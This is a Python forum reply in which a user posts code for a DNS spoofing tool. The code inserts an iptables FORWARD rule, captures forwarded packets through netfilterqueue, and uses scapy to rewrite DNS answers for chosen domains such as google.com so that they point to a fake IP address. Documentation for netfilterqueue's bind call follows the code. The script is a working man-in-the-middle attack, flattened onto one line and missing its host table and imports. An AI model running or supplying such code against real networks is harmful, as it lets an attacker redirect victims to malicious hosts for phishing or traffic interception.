(Apr-25-2020, 07:52 AM)buran Wrote: what is packet
(i.e. what type of object) and where it comes from?
Hi buran,
The packet comes from a queue using netfilterqueue to be modified. Later, it's released again.
This is the full code:
QUEUE_NUM = 0 # insert the iptables FORWARD rule os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) # instantiate the netfilter queue queue = NetfilterQueue() try: # bind the queue number to our callback `process_packet` # and start it queue.bind(QUEUE_NUM, process_packet) queue.run() except KeyboardInterrupt: # if want to exit, make sure we # remove that rule we just inserted, going back to normal. os.system("iptables --flush") def modify_packet(packet): """ Modifies the DNS Resource Record `packet` ( the answer part) to map our globally defined `dns_hosts` dictionary. For instance, whenever we see a google.com answer, this function replaces the real IP address (172.217.19.142) with fake IP address (192.168.1.100) """ # get the DNS question name, the domain name qname = packet[DNSQR].qname if qname not in dns_hosts: # if the website isn't in our record # we don't wanna modify that print("no modification:", qname) return packet # craft new answer, overriding the original # setting the rdata for the IP we want to redirect (spoofed) # for instance, google.com will be mapped to "192.168.1.100" packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # set the answer count to 1 packet[DNS].ancount = 1 # delete checksums and length of packet, because we have modified the packet # new calculations are required ( scapy will do automatically ) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # return the modified packet return packet def process_packet(packet): """ Whenever a new packet is redirected to the netfilter queue, this callback is called. """ # convert netfilter queue packet to scapy packet scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # if the packet is a DNS Resource Record (DNS reply) # modify the packet print("[Before]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # not UDP packet, this can be IPerror/UDPerror packets pass print("[After ]:", scapy_packet.summary()) # set back as netfilter queue packet packet.set_payload(bytes(scapy_packet)) # accept the packet packet.accept()
Not sure how netfilterqueue handles the packet. If it is received as a string or bytes.
QueueHandler.bind(queue_num, callback[, max_len[, mode[, range, [sock_len]]]])
Create and bind to the queue. queue_num must match the number in your iptables rule. callback is a function or method that takes one argument, a Packet object (see below). max_len sets the largest number of packets that can be in the queue; new packets are dropped if the size of the queue reaches this number. mode determines how much of the packet data is provided to your script. Use the constants above. range defines how many bytes of the packet you want to get. For example, if you only want the source and destination IPs of a IPv4 packet, range could be 20. sock_len sets the receive socket buffer size.